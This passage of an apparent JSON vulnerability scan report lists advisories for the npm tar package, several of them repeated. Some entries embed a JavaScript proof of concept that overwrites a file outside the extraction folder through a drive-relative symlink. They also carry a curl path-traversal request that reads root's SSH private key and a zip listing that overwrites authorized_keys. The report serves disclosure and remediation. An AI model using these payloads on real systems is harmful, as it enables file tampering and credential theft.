arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": 